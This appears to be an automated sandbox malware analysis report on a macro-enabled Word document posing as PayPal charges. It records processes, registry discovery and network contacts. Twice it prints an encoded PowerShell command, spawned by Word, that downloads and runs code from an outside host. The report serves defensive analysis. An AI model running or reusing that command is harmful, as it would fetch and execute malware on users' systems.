Malware Analysis Report

2025-03-15 07:56

Sample ID 240807-lhx7vswgkn
Target 07082024_0932_paypal_charges.doc
SHA256 69b6bc4db69680118781e7a9f2580738088930fa04884755f23904fa19e638e3
Tags
macro macro_on_action discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

69b6bc4db69680118781e7a9f2580738088930fa04884755f23904fa19e638e3

Threat Level: Known bad

The file 07082024_0932_paypal_charges.doc was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Blocklisted process makes network request

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-07 09:32

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-07 09:32

Reported

2024-08-07 09:35

Platform

win7-20240705-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\07082024_0932_paypal_charges.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\07082024_0932_paypal_charges.doc"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBlAHQAZQByAG4AYQBsAC4AbABvAGwALwBmAGkAbABlAC8AOABlADUAMwBhADMAZQAwADIAMwAyADEAOABhADkAYgAxAGUAZgA5AGIAYQAxAGUAZgAzAGIANQBhAGYAZAAxADkAMQBhADkAOQAxADUANgBiADcANwA4ADYANAA1ADUAOABkAC8AOABlAGUAZgA0AGQAZgAzADgAOABmADIAMgAxADcAYwBhAGUAYwAzAGQAYwAyADYALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

Network

Country Destination Domain Proto
US 8.8.8.8:53 eternal.lol udp
US 192.64.119.42:443 eternal.lol tcp

Files

memory/3020-0-0x000000002F111000-0x000000002F112000-memory.dmp

memory/3020-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/3020-2-0x000000007193D000-0x0000000071948000-memory.dmp

memory/3020-5-0x0000000000550000-0x0000000000650000-memory.dmp

memory/3020-4-0x0000000000550000-0x0000000000650000-memory.dmp

memory/3020-7-0x0000000000550000-0x0000000000650000-memory.dmp

memory/3020-6-0x0000000000550000-0x0000000000650000-memory.dmp

memory/3020-8-0x0000000000550000-0x0000000000650000-memory.dmp

memory/3020-9-0x0000000000550000-0x0000000000650000-memory.dmp

memory/3020-13-0x000000007193D000-0x0000000071948000-memory.dmp

memory/3020-14-0x0000000000550000-0x0000000000650000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 80c5ed40a9608422f89dd103dd518b8c
SHA1 49c146293805fc8179970d7c6be22490be33338e
SHA256 f7d3d28715853b1c04ba35af3d9c0c65191251a2c7e878df0afc708c6e07f277
SHA512 1b1af83e41748a3dbbc4d04866303481c4e42b955cfd2e07deee964c64d73c10e7995bf60724719015c062444fabcfd1e122dd6d04c82e89cb6bf17eb9253473

memory/3020-29-0x000000005FFF0000-0x0000000060000000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-07 09:32

Reported

2024-08-07 09:35

Platform

win10v2004-20240802-en

Max time kernel

116s

Max time network

138s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\07082024_0932_paypal_charges.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\07082024_0932_paypal_charges.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBlAHQAZQByAG4AYQBsAC4AbABvAGwALwBmAGkAbABlAC8AOABlADUAMwBhADMAZQAwADIAMwAyADEAOABhADkAYgAxAGUAZgA5AGIAYQAxAGUAZgAzAGIANQBhAGYAZAAxADkAMQBhADkAOQAxADUANgBiADcANwA4ADYANAA1ADUAOABkAC8AOABlAGUAZgA0AGQAZgAzADgAOABmADIAMgAxADcAYwBhAGUAYwAzAGQAYwAyADYALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 eternal.lol udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 192.64.119.42:443 eternal.lol tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 95.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
NL 2.16.6.8:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
GB 2.18.190.140:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 8.6.16.2.in-addr.arpa udp
US 8.8.8.8:53 140.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp

Files

memory/2052-0-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-2-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-1-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-3-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-4-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-5-0x00007FFA59A2D000-0x00007FFA59A2E000-memory.dmp

memory/2052-6-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-9-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-11-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-10-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-12-0x00007FFA17600000-0x00007FFA17610000-memory.dmp

memory/2052-13-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-8-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-15-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-18-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-22-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-21-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-20-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-19-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-17-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-16-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-14-0x00007FFA17600000-0x00007FFA17610000-memory.dmp

memory/2052-7-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-50-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-56-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/4120-68-0x000001E129C70000-0x000001E129C92000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dwyyhd3a.aqo.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 4d539cbde6ef425378e87710259d7661
SHA1 42d5d5bb1a012b2d37b2367ef5179e377a8245bc
SHA256 5399d1bab1a10fb8daf7dc37f766b673765c15fd46fcda088a30b96d6198c525
SHA512 6801ebe7acb735fd50543e6342609c9203d58e752c98ccc4c0ddf524480fd0e5019e375446ffa1308a832a328b9b035850149ed0fac20400a1fd7d44a7f2c5c0

memory/2052-74-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-75-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

memory/2052-76-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCD4629.tmp\iso690.xsl

MD5 ff0e07eff1333cdf9fc2523d323dd654
SHA1 77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512 b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

memory/2052-215-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-216-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-218-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-217-0x00007FFA19A10000-0x00007FFA19A20000-memory.dmp

memory/2052-219-0x00007FFA59990000-0x00007FFA59B85000-memory.dmp